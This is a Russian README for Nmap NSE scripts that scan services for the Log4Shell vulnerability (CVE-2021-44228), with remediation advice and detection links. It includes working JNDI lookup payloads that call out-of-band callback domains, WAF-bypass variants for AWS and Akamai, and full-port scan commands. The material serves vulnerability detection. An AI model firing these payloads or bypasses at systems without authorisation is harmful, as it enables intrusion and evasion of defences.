
Nmap NSE скрипты для проверки на уязвимости log4shell или LogJam (CVE-2021-44228)
Скрипты NSE для Nmap для проверки уязвимостей log4shell или LogJam (CVE-2021-44228). Скрипты NSE проверяют наиболее популярные открытые сервисы в Интернете. Это базовые скрипты, где вы можете настроить полезную нагрузку.
Обратите внимание, что скрипты NSE только отправляют запросы к сервисам. Nmap не будет сообщать об уязвимых хостах — вам нужно проверять DNS-логи, чтобы определить уязвимость. Если вы не укажете полезную нагрузку вручную, скрипты NSE по умолчанию будут использовать dnslog.cn. Это означает, что запросы будут видны dnslog.cn.
Перейдите в каталог, где находятся эти скрипты, и выполните следующие команды (Nmap получит dnslog.cn автоматически).
В Linux:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
В Windows:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
Новый обход патча в версии 2.15.0 (CVE-2021-45046), спасибо @marcioalm (твит):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
Обход AWS (спасибо @11xuxx - твит):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Обход Akamai (спасибо @ozgur_bbh - твит):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Пример для Windows (спасибо @ZedFuzz) — обратите внимание, как экранировать кавычки:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
Перейдите по адресу http://github.com/kost/logdns и получите DNS-сервер. Получите домен и укажите его где-либо, где вы установили logdns:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Перейдите по адресу http://dnslog.cn/ и получите SubDomain. Замените ваш xxxx на ваш SubDomain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Возьмите свой домен из Burp collaborator и замените xxxx на ваш домен:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Возьмите свой токен из CanaryToken и замените xxxx на ваш домен:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
Спасибо @saintz666
У dnslog.cn короткие сессии (около получаса). Должен быть способ продлить сессию на время сканирования. Кроме того, иногда DNS-запрос происходит намного позже, чем полученный запрос. Кто-то сообщал, что получал DNS-запрос через несколько часов после отправки запроса. В качестве обходного решения скрипты NSE nmap получают новую сессию после каждого просканированного хоста.
Поэтому в настоящее время для наилучшей уверенности рекомендуется использовать собственный DNS-домен с таким инструментом, как logdns: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
Список лучших исправлений и обходных путей.
Лучшее решение для защиты от CVE-2021-44228: обновитесь до log4j-2.16.0 или новее.
Обратите внимание, что log4j-2.15.0-rc1 больше не рекомендуется, так как были обнаружены новые уязвимости. Поэтому следует обновиться до log4j-2.16.0 или новее (спасибо @ruppde).
Также обратите внимание, что другие рекомендации, например установка log4j2.formatMsgNoLookups в true, следует избегать.
Лучше всего выявлять уязвимость log4shell, проверяя локальную файловую систему на наличие артефактов log4j.
Эти скрипты NSE следует использовать только для дополнительной уверенности. NSE помогают выявить уязвимые сервисы, а не уязвимые приложения. Они могут выявить уязвимое приложение, если оно логирует каждый запрос (включая корневой /), но не в том случае, если уязвимость скрыта за авторизацией. Для этого потребуется веб-сканер, который полностью обходит веб-сайт.
Вы можете проверить конкретный URI с помощью следующего примера:
http-log4shell.url=/my/application/uri
Он будет проверять через HTTP-заголовки и cookie. Если нужно проверить POST/GET формы, следует использовать http-spider-log4shell. Тем не менее, лучше всего использовать веб-сканер с поддержкой log4j.
Также обратите внимание, что разрешение DNS с комбинациями префиксов в выражении для log4j-core <= 2.7, по-видимому, не поддерживается. Поэтому тестирование с чем-то вроде ${java:os} может привести к ложноотрицательным результатам.
Следовательно, лучше допустить несколько ложноположительных результатов, чем ложноотрицательных.
Общие ссылки и ссылки на уязвимость
Тред Reddit - Общая информация о log4shell
NCC log4shell - Информация для эксплуатации уязвимости (IOCs, меры смягчения, сканирование, программное обеспечение)
BlueTeam CheatSheet Log4Shell - Уведомления о безопасности / бюллетени, связанные с Log4Shell (CVE-2021-44228)
Список программного обеспечения - справочное руководство - Список уязвимого программного обеспечения по ответам вендоров
Обратите внимание, что удаленные и онлайн-проверки полезны как дополнительная уверенность или быстрый тест. Для дополнительной уверенности рекомендуется сканировать локальные файлы на наличие известных сигнатур log4j.
lo4shell.huntress.com - Онлайн-тестер уязвимости Log4Shell
log4j yara - Правила yara для локального обнаружения
identify-log4j-class-location.sh - Скрипт для определения затронутого класса Log4J для CVE-2021-44228 в наборе ear/war/jar файлов
PoC-log4j-bypass-words - Трюк для обхода блокировки слов
log4shell-detector - Детектор попыток эксплуатации Log4Shell
Log4Shell-IOCs - Список фидов IOC и отчетов об угрозах
log4j_rce_detection.md - Вы можете использовать эти команды и правила для поиска попыток эксплуатации
log4j advisory - Уязвимости безопасности Apache Log4j
log4j pull request and comments - Pull request, исправляющий ошибку с комментариями
Logout4Shell - Быстрая и грязная альтернатива ручному патчингу